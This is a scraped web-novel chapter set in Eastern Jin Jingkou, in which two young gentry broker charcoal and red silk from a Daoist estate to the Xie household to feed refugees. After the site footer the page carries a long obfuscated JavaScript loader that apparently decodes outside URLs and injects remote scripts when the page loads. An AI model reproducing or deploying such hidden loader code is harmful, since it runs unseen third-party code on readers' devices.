首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第30章 合力

下载APP,无广告、完整阅读
    第30章合力(第1/2页)
    卢悚没有理由拒绝这种事情,即便是他个人情感上有点闹别扭的意思,可诚如他自家之前所言,这么大的坞堡,里面那么多天师道众,他们要生存,要吃饭,要穿衣,要社会化抚养,要开无伦大会,甚至是需要染绛色头巾,哪样不要花钱?不要消耗力气?
    尤其是今年冬天,京口又来了许多流民,举了五斗米或一匹布来入道,你按照规矩当然是不能推的。可这到底是冬天,人来了,却因为时节的缘故没法大举的、迅速的投入生产,反而需要排队搭配男女做仪式,很多人就在那里空耗着,使得坞堡内生存压力更大,所谓冬日内数着米下锅当然是夸张,但意思是没错的。
    这个压力现在就堆在他卢上师的肩膀上,他当然希望将闲杂物资换成基础的粮食、布匹。
    而如果能利用上他们过剩的人力与生产潜力,临时于冬日内有效生产一些,不止是他,恐怕坞堡里的中上层都会更高兴,反正他们的人力成本可以视为没有。
    至于说为什么他们自己不去卖?
    除了买方市场外加高端市场难找,还有一个很有意思的地方,那就是坞堡这个东西,最大的特色乃至于根基就在于自给自足这四个字,他们平时是不参与对外贸易流通的,只是今年冬天确实遇到了些麻烦而已。
    所以,二刘确实带来了他们急需的东西。
    更不要说,那到底是陈郡谢氏,如今既掌兵权又掌人事权,是一个正在冉冉向上的顶级二品甲门,甚至大都督褚裒一死,恐怕还要因为褚太后的倚仗再往上走的。
    如果坞堡能跟谢府做成长久供应关系,那可是难得的机缘——莫说心里有计较的卢悚,便是杜明师在这里也怕也会同意的。
    果然,卢户曹本人虽然有些吃惊,也有些莫名烦躁,可出发郡府前还是明白的下令,让坞堡内的天师道道人们给二刘做配合。
    他倒是没有怀疑过此事真假……因为在卢上师看来,这俩人连江乘的安乐窝都不去,也不愿意来投奔自己,非要守着那八九百妇孺比例极高的流民营地去邀名,俨然是属于非常之人,而非常之人能成非常之事,反倒合乎情理。更何况,作为邻居,他自诩对二刘境况还算知根知底,此时此刻,这俩人走投无路之下,恐怕还真只有乌衣巷谢氏可以做尝试了。
    这不就对上了吗?
    且不提卢户曹继续往郡府奉公,人既走,问清楚之前那徐上师现在去了会稽,这里只是卢悚当家后,刘阿乘就立即拿着鸡毛当令箭,开始在人家的坞堡里大闹天宫了。
    先什么都不去看,先吃饭!
    没错,总算能可着肚子吃顿饱的了,随行的七八个壮丁往那里一蹲,大碗大碗的喝粥,一碗不行还有一碗,平均下来一人喝了五碗半。而刘阿乘跟刘吉利干脆坐到了那个之前堂上,也不侵占人家主座,就是之前坐的位置,让坞堡里的天师道人给上更高档的粟米饭跟盐菜,也就是吃干的……盐菜还要了双份,一起摆在案上,两边换着夹。
    终于吃饱了,天也已经大亮,这才开始做摸底排查。
    第一个看的是炭窑,无论如何要看炭窑,这是最开始预想也是最基本的生意。
    而炭窑果然是有的,但不经常用,而库房里则还有七八百斤炭,原因再简单不过,问题就在于坞堡那个最大的特色上嘛,也就是自给自足这四个字上。
    毕竟,坞堡在野外,绝大部分的场景还是用柴居多,这附近也没有人来私场这里专门买炭,所以只有坞堡内部极少数冶炼业务和几位上师冬日在时需要用到炭,便隔三差五才出一窑,用的差不多了,再烧下一窑。
    库房里这些,还是沾了冬天的光。
    这就不行了,刘阿乘先将这个记下来,直接要求他们立即、马上烧一窑好炭出来。天师道的人倒没有拒绝,毕竟这玩意耐放,断没有浪费的说法。而刘吉利也顺势点了两个人一起来的人,让他们跟着学一学。
    然后就去看织物。
    不要觉得人家谢府有着几乎可以说不用计量的基础布料,就不用采买织物,实际上,织物这个东西要看档次,普通官库赏赐下来的布只好用来做帷帐,而好的织物附加值就非常高,对于谢府这种高端市场来说,如果能寻到一些艺术价值高的织物,绝对是最划算的买卖。
    而且这东西的价值是受到广泛肯定的,稳定性也好、利润空间也高,比桃木柴强太多了。
    比如昨天,刘阿乘就亲眼看见钱典计在市场上采买了一些绣纹丝绸,然后顺带着从店家那里拿了一些布匹到他自己家。
    这一看,还真看到了不少好东西,这是因为天师道的人本身就特别在意绛色染织的工艺……所以,竟然真有很多绛色,也就是大红色的纱布、丝绸、绫,刘阿乘甚至看到了一张被染成绛色的鹤氅,继而又顺着这个找到了被染成绛色的鹤羽扇、拂尘、麈尾。
    一时间,也不知道是该惊喜还是该惊吓。
    总之,统统记录在纸上。
    没错,刘阿乘终于有纸笔可以写字了,而不是用黑灰在小木板上来写,不过他这次反而露了怯,推说自己年幼,没有认真学过,字不好,只让刘吉利来做记录。
    就这样,二刘带着几个壮丁,从早上看到中午,从中午看到下午,从炭窑看到打铁坊,从织物间看到染色间,甚至看了坞堡里储存的陈粮,还尝了下人家酿的酒,研究了一下人家的家具木工,数了牲畜栏里的牛羊……若不是卢悚回来的早,他们指不定还要去找找之前放军械的地方。
    即便是卢悚回来,也不耽误二人带着一起来的壮丁又吃了一顿人家坞堡里的饭,还往堂上给卢上师认真做了一番市场分析。
    你还别说,真让刘阿乘说出几个道道来。
    按照这个少年的分析,谢府的主要市场需求应该是两极分化的……他们有自己的庄园,但因为是后发世族,所以普遍性都远在会稽,这就使得他们不得不就近获取木炭、时鲜这种随时节波动大的消耗品,或者如优良牲畜这种经不起远程奔波的娇贵货物;此外,对于这种高级贵族来说,他们拥有大量的基础财富,反过来对任何有人文附加价值的奢侈品都来者不拒。
    也就是按照这个思路,结合着天师道这里明显生产能力过剩的现实以及混乱的库存,刘吉利那里还真就摆出了一个单子来。
    上面不仅仅有今日选定的主打货物,如炭、酒、丝绸、红绫、毛皮,还要求卢悚以上师的身份对那几件看起来比较另类的鹤氅、羽扇、拂尘、麈尾,包括部分货物中的上品进行符箓包装。
    此外,还要求天师道坞堡这里,选拔优秀的工匠,尝试制造一批具有宗教特色的漆器、陶器、铁器,甚至是铜器、银器。还要天师道的人组织一只狩猎、捕鱼、采集的队伍尝试获得包括松子、大鱼、野味在内的冬日时鲜。
    甚至,刘吉利还提出,流民营地那里虽然穷困,但基本的采集、捕猎、捕鱼、柴薪能力还是有的,天师道应该给与一些工具补助,大家一起工作……毕竟,普通的小鱼小虾和干瘪松子是不可能拿去卖的,却可以让妇孺在冬日活下去。
    最后的最后,刘阿乘公开提出,他们作为谢府这个市场的开拓者和渠道掌握者,再加上流民营地的情况在那里,所以需要跟谢府的关键奴客首领们一样,获得两成的抽成。
    看的出来,这俩人是吃定人家天师道了。
    不过,卢悚认真听完,这一次却没有再甩脸色,只全盘应许,然后正色提醒二刘而已:“两位,你们要跟谢府的下人一起分抽成,并没什么大不了的,只要此事若能成,我们天师道非但允诺,将来还有礼物奉上。便是再差一些,只是一冬一时,未曾深厚结缘谢氏,但能正经卖出去东西,稍缓今年冬日局势,我们也不会说什么。怕只怕一事无成,乃至于无端惹出什么祸来,真到了那时候,我们天师道可不会轻易庇护谁!”
    二刘闻得此言,面面相觑。
    他们昨天晚上还在草垛那里讨论这事,毕竟这事是走的偏门,而且那钱典计也不干净的,万一真被揭开,必然惹出祸来的,到时候谢府那边说不得为了门第声望什么的只是假装不知道,反倒是这天师道这里会因为他们抽成太狠要他们性命呢。
    结果只是不庇护谁?
    那这生意确实可以放开手脚来做了。
    “不管如何,阿悚兄,请务必先赐下求子的符箓,我们明日就要拿过去。”刘阿乘最先回过神来。“这是谢府后宅管支出的典计家里索要的……这等要害的下人,才是最不能得罪的,也是免得惹出祸来的关键。”
    卢悚想了一想,终于无话可说,便让人当场取来纸笔,却又提醒:“所谓符箓,只是俗言,实际上乃是说以箓入天籍,入籍为凭,再来画符,而符又多主驱鬼、生人,不见有求子之符……那什么典计,必然是以讹传讹,将孕妇驱鬼祛病的符当做求子了,我就给你画个驱鬼祛病的符吧?”
    “反正你是已经上了天箓的上师,画符何必拘于治病和驱鬼?”刘阿乘倒是不在乎人家的职业道德,直接催促。“便是以前没有求子的,你给加一个,只要天上认你的身份,自然会调动相应的神仙助你……这就好像你已经做了太守,以前的太守是不管流民的,你如今管了,难道大家不认这是太守的权柄?要我说,只要你是上了天箓的天官,什么符都画的,不光求子的,升官的、发财的、婚姻的,都可以画的。”
    这话说的,便是刘吉利都有些慌了,这可是仙家符箓,还能这样来?
    倒是卢悚,盯着对方看了半日,然后果真低头画了一张符,让人交给眼前少年,这才离开堂上休息去了……而二刘捧着那张符箓,看了半日,也看不懂,到底是不晓得这是寻常驱鬼祛病的旧符,还是卢上师听取意见搞得创新。
    不过不要紧,那钱典计和他老婆肯定也不认得。
    当晚二人并没有宿在天师道这里,而是要了两尺绛色绫布做样品,然后便举着火把带人转回了营地,只留下两个看着炭窑学技术的……莫忘了,一直到现在流民营地那边都还没见到大进项,营地里人心都是动荡的,若是两人留在外面享福,只怕营地里还要出乱子的。
    当夜无话,翌日上午,二刘起来,稍微又核对了下单子,确定无误后,本该歇一歇才对,因为跟那钱典计约定的时间是今日下午,但刘阿乘还是坚持早早出发。
    刘吉利一开始以为对方老毛病犯了,要去建康城里去长见识呢,毕竟,什么朱雀桥,什么石头城都还没看呢。孰料,这一动身却随对方一路到了江乘,找到了无所事事的刘虎子。
    (本章未完,请点击下一页继续阅读)第30章合力(第2/2页)
    也不能这么说人家阿虎哥,他还算是在做正事,实际上,刘阿乘和刘吉利到刘任公新住处的时候,这厮正带着几个宗亲伙伴在旁边高屯将的屯所内练箭,听说是阿乘过来找他,方才扔了弓箭出来。
    三人见面,也没什么排场,就在附近借了一个马扎,一个长凳,一起坐下说话。
    “阿虎兄。”刘阿乘明显是有事,直接开口来问。“你入了高世叔麾下没?”
    刘虎子直接摇头:“那日阿乘你也在的,如何忘了,他这里连百人队将都已经被高氏宗亲占完了,我来了,最多也就是个百人队将,还要亲戚腾位置……”
    “可不是嘛。”骆驼吉利现在神采飞扬的,直接插嘴似笑非笑道。“以咱们彭城刘氏的门第和阿虎你祖父的经历,便是要做个‘劲卒’,最少也要学高屯将那般做个幢主起步,否则,刘阿干那里也要嘲讽的。”
    “是这个道理。”刘虎子倒也坦诚。“之前都不愿意,何况现在?实在是没有机会,宁可这么浪荡着……不过刘阿干那里也一样,且比我们倒霉,那厮上次使了那么多钱,前途都定好了,硬生生又没了,整日黑着脸纵马在京口打盗匪,也没道理笑我。”
    刘吉利终于忍不住笑出声来。
    倒是刘阿乘总是习惯性注意力漂移:“现在盗匪多么?怎么来的?有凶狠的没有?谁让刘阿干去打的,只是他乐意吗?”
    “阿乘这话问的,怎么来的,你不知道吗?”刘虎子略显无语。“那日咱们打的盗匪不就是你凭空勾起来的?都一样!至于多不多,反正四五万流民,到了冬日没饭吃、没衣穿,总有两三千恶少年散在这京口上下吧?但也不好说都是盗匪……很多人只是小偷小摸。”
    “阿乘是想问局势发展的如何,盗匪增加的快不快,会不会影响到营地?”刘吉利主动为之解释。“毕竟天一日比一日冷,明日就是正经冬日第一天了。”
    “你们且放心。”刘虎子这才稍微肃然起来。“盗匪便是多起来,养的凶狠起来也不怕,阿爷一开始选这个这个地方落脚,不就是想挨着军镇这边,得到高世叔照料吗?真有贼去,也不用高世叔,你们遣人告诉我,我领着人便去处置了……你刚刚问谁让刘阿干去打盗匪,哪里要人让他去打,他自家为了维护周边治安也必然要打的,都一样的。”
    刘吉利点点头,又来看刘乘:“阿乘,阿虎说的对,这边到底是琅琊郡内,挨着建康的多些,不用过度忧心盗匪。”
    “怕只怕局势再糟下去,会有祖士稚那种盗匪。”刘乘认真道。“或者阿虎你做了盗匪,我们怎么抵挡?”
    刘虎子大笑:“之前你拿自己比祖士稚,现在又拿我比吗?”
    不过,笑完之后,刘虎子重新肃然:“阿乘且放心,我不敢说一定不去做盗匪,可若真做了,也一定是去别处去抢……而且便是做了盗匪,也要护住你!”
    “真到了那时候,说不得我们也要跟你去做盗匪。”见到对方严肃起来,刘阿乘反而笑了。“不说闲话了,我来找你是有正事……你那张虎皮鞣制好了吧?卖出去了吗?”
    刘阿虎尚未回复,旁边刘吉利心下一愣,立即扭头盯住了自己这个伙伴,却是第一时间醒悟过来对方此行目的了,继而心情复杂起来——他当然承认对方此举的义气,佩服对方知恩图报,却又觉得到底是刘虎子一家弃了营地在先,而二人这几日那般辛苦,之前几乎山穷水尽,才窥见一番前途,自然该独享成果才对,结果这刚有一点起色,竟还要回头拉一把刘虎子,心中未免又有些酸涩。
    果然人家认识的更早一些吗?还是这脚下的麻屩到底起了效用?
    刘虎子当然不晓得旁边的骆驼吉利心情如何复杂,闻言更是严肃:“虎皮这几日已经处置好了,阿乘,你那边已经到了这种地步吗?你给我一句话,若实在是穷的没办了,我将虎皮偷出来,不让两个阿兄看到,带到京口或者建康卖了,与你换些米便是。但你须记得阿爷的话,那是千把人,你个人再有能耐,弄点什么东西撒进去,都只是个听个响动罢了……不如早点来这里,我教你射箭骑马。”
    刘阿乘点了下头,也不直接说,而是看向了刘吉利。
    刘吉利无奈,只能强打精神,将这几日的折腾叙述了一遍,最后说明:“阿乘的意思是,你那虎皮要是没卖,可以缓一缓……等我们在乌衣巷那里赚了些用度,也混的脸熟,便可以试着去跟谢家的人接触了,到时候干脆趁着年前将这虎皮赠给谢家的当家人,反正跟他们有说头,到时候说不得跟献给大都督无二的,可以在西府那里能为你求一个‘劲卒’的前途。”
    刘虎子听到一半便惊喜起来,听到最后,干脆来问:“若是这般,断没有只求一个人前途的道理,阿乘也要去西府吗?”
    “我倒是没想过西府。”刘阿乘迟疑了一下,趁机对自己的人设进行了一点补充修正。“虽说我处处以北伐为念,可经过这一遭才晓得,若是身后没有根基可以招自己信用的兵丁,没有靠山可以躲避那些朝廷上的纷扰,否则只怕连淮河都看不到便被人卖了,更不要说在北面自行立足了……而且,褚大都督这一遭,着实让我对这一回北伐起了不安之意,我不大信他们能成。”
    “是这个道理。”刘吉利连连点头。“所以要先做大官再北伐……”
    “阿虎你也要想清楚。”刘乘也趁机来劝。“谢家如今执掌西府,若是真能顺利,去西府从军北伐也是个路子,但你太年轻,宗族根基也在京口,不如缓一缓,想法子学高世叔留在京口这里,既照顾了宗族,也能锻炼出一支兵马,到时候有了身份,再去西府不就是再找到谢家求一次的事情?”
    刘虎子连番点头,竟然没有反驳。
    刘阿乘也只能感慨,便是刘虎子这种人,经历了一番动荡挫折、穷蹙到底后,竟然也能有两分沉稳之态,听得懂人话了。
    没错,事情有了转机后,刘阿乘几乎是第一时间重新将刘虎子拉回到自己的小圈子里来,现在眼瞅着时间差不多了,干脆叫上他,一起往建康城而去。
    这一次,熟门熟路,三刘一起抵达长干里,然后见到了等在这里的钱典计和他的妻子。
    坦诚说,之前刘阿乘还有些担心,若是这钱典计是个狠人,直接弃了这房子,将妻子送到乌衣巷对面的郡府城下寻个房租居住,就此摆脱了这番事情,他们还真没有办法。
    不过好在没有如此,只是三人抵达时,这对老夫少妻似乎有些脸黑,好像刚刚生过气一般。
    当然,在刘阿乘将据说是徐上师、卢上师联手画的求子符箓奉上后,这对夫妻几乎是一起脸色好转。这个时候,刘阿乘再将单子奉上,钱典计终于对这三个破落年轻士族刮目相看。
    只看他们月前猎虎时的窘状,如何能想到真有这番实力?轻易用上天师道的人力和财物?
    果然士族的身份哪里都好使吗?
    一念至此,钱典计态度莫名又好了几分,乃是细细与这三人中明显做主的那个少年做了讨论,双方议定,按部就班,三日后就送一担桃木柴、五百斤炭来,按价收入;此外,这绛色绫布染得确实好,可这种贵物是要经过主家点头的,所以要取一整匹来,先给后宅夫人、女郎看过,好了当时便留下不说,也必有后续,否则都不够夫人、女郎们分的;最后,如果绛色绫布能成交,那单子里的其他物件,也要学着这绛色绫布一般一一取样品送来,他先查验再说。
    刘阿乘满口答应。
    两日时间很快过去,刘阿乘、刘吉利一大早带着五六个老实强壮的伙伴到了天师道坞堡,因为那窑新炭还在烧制中,所以只从库存的炭里取出五百斤好的来,连着自家挑选的桃木柴,再带着一匹绛绫布,然后又专门让天师道的人补了五十斤炭、四尺绫布,便借着人家的驴车出发了。
    看的出来,那天师道的人也不放心,专门又遣了四五个壮汉和一名长衫的道人跟着。
    结果到江乘,刘虎子也带了几个宗亲兄弟加入,继续护着驴车往建康走。
    等到三桥篱门,守门的税吏目光愈发古怪——倒不是说这些人提前准备好了抽税,而是他完全不能理解,为什么区区半车炭、一担柴、一匹红绫……便是这匹红绫是个顶好的东西,也不至于要让包括天师道法师在内的十几个壮汉来护送吧?
    难道炭里裹着金子?
    在刘阿乘等人眼里,炭里还真裹着金子!
    之前就说了,杂柴一担五十斤,大约能换五升米,这是市价……可炭呢?一般而言,普通的一斤炭需要七八斤杂柴才能烧出来,那么五百斤炭,相当于三四千斤柴,大约三四石米?
    开什么玩笑,真要是那样谁还费心费力的又是挖窑,又是冒着失败风险守着七八日来烧?
    实际上,五百斤炭的市价是六千钱——五铢钱,不是沈郎钱,按照建康城内的稻米三百文一石的市价来算,这就是二十石的稻米!而谢府每月用炭约八百斤,算到冬日结束、春寒料峭时,就是近乎百石粮食。
    仅此一项,如果能全部被流民营地分走,那就足以补上粮食缺口过冬了,这也是刘阿乘之前一度预想中的完美策略。
    当然,实际上要分两成给人家钱典计,钱典计自家也说了,他也要分出去一半多给后宅的其他人;然后还要给城门那里缴一成;还要给炭的真正主人,也就是天师道那里拿走五成;流民营地那里,只能拿走两成,也就是估摸着一冬下来二十石粮食。
    但是,没有人不满意,包括天师道的人也都振奋莫名,因为还有一匹红绫呢!
    那匹红绫卖了两千钱,钱典计说了,保质保量的话,后宅还需要十五匹。
    刘吉利等人都在感慨,什么叫做顶级贵族的家需?而刘阿乘却只有一个念头,自己竟然把事情办成了,这千把人,竟然真要冬日无忧了!
    ————————我是会画符的分割线————————
    乃曰:“吾道法箓……以此生符,自然能祛病气,斩鬼魅,存生气,通官运,镇宅邸,护身体,救财路,促孕合,保胎萌,所谓无所不通,无所不能。”
    ——《太平广记》.神仙部.齐.卢悚
    时帑藏空竭,库中惟有綀数千端,鬻之不售。导患之,乃与朝贤俱制綀布单衣,于是士人翕然竞服之,练遂踊贵。
    ——《晋书》.王导传
    PS:感谢mousex老爷的上萌,感谢小飞毯以及其他同学的打赏。

一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 